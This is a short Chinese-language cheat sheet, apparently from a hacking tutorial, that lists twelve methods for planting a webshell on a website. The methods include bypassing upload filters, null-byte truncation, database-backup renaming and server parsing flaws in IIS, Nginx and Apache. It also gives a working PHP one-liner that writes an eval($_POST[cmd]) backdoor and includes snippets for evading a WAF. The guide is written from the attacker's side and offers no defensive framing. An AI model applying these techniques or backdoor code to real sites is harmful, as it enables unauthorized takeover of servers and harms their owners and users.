**webshell**

一.获取webshell

(1)正常上传

网站对上传文件后缀格式并未过滤，直接上传webshell

(2)数据库备份拿webshell

网站对上传的文件后缀进行过滤，不予许上传脚本类型文件如php/asp/jsp/aspx等，而网站具有数据库备份功能，这时可以将webshell格式先改为允许上传的文件格式如jpg,gif等，然后，我们找到上传的文件路径，通过数据库备份，将文件备份为脚本格式

(3)本地js验证突破拿webshell

当网站设置了js来限制用户上传的文件类型时，我们可以通过删除js验证或者修改上传类型图突破上传拿webshell

(4)修改网站上传类型配置拿webshell

有的网站，在网站上传类型中限制了上传脚本类型，我们可以去添加上传文件类型如asp|php|jsp等拿webshell

(5)上传其他脚本类型拿webshell

当一台服务器具有多个网站，a网站是asp的站，b可能是php的网站，而a站中限制了上传文件类型为asp的文件。你可以尝试上传php的脚本来拿webshell

(6)00截断拿webshell

在上传文件的时候，你上传的文件名可能会被网站自动改成别的名字，这个时候你可以尝试抓取上传文件数据包，将文件名改为xx.asp%00.jpg进行截断上传，拿webshell

(7)利用解析漏洞拿webshell

a.IIS 5.x/6.0 解析漏洞

目录解析:在网站下建立文件夹名字为.asp .asa的文件夹，其目录内的任何扩展名的文件都被IIS当作asp文件来解析

文件解析:在IIS6.0下，分号后面的不被解析，也就是说cracer.asp;.jpg会被服务器看成cracer.asp，还有IIS6.0默认的可执行文件有asp/asa/cer/cdx

b.IIS 7.0/Nginx <8.0畸形解析漏洞

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg，内容为：<?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST[cmd])?>');?>的文件，然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马 shell.php。

c.Nginx < 8.03 空字节代码执行漏洞

Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码.

d.Apache解析漏洞

apache是从右到左开始判断解析，如果为不可识别解析，就再往左判断.比如cracer.php.owf.rar的“.owf”和“.rar”，这两种后缀Apache不可识别解析，Apache就会把cracer.php.owf.rar解析成php

(8)利用编译器漏洞拿webshell

(9)网站配置插马拿webshell

通过找到网站默认配置，将一句话插入到网站配置中，不过为了能够成功执行插马，建议先下载该网站的源码，进行查看源码过滤规则，以防插马失效

(10)修改脚本直接拿webshell

有的网站可以修改脚本文件，可以直接拿webshell

(11)文件包含拿webshell

先将webshell为txt文件上传，在上传一个脚本文件包含该txt文件，可绕过waf拿webshell

asp包含 <!--#include file=”1.txt” -->

php包含<?php include(“1.txt”)?>

(12)0day拿webshell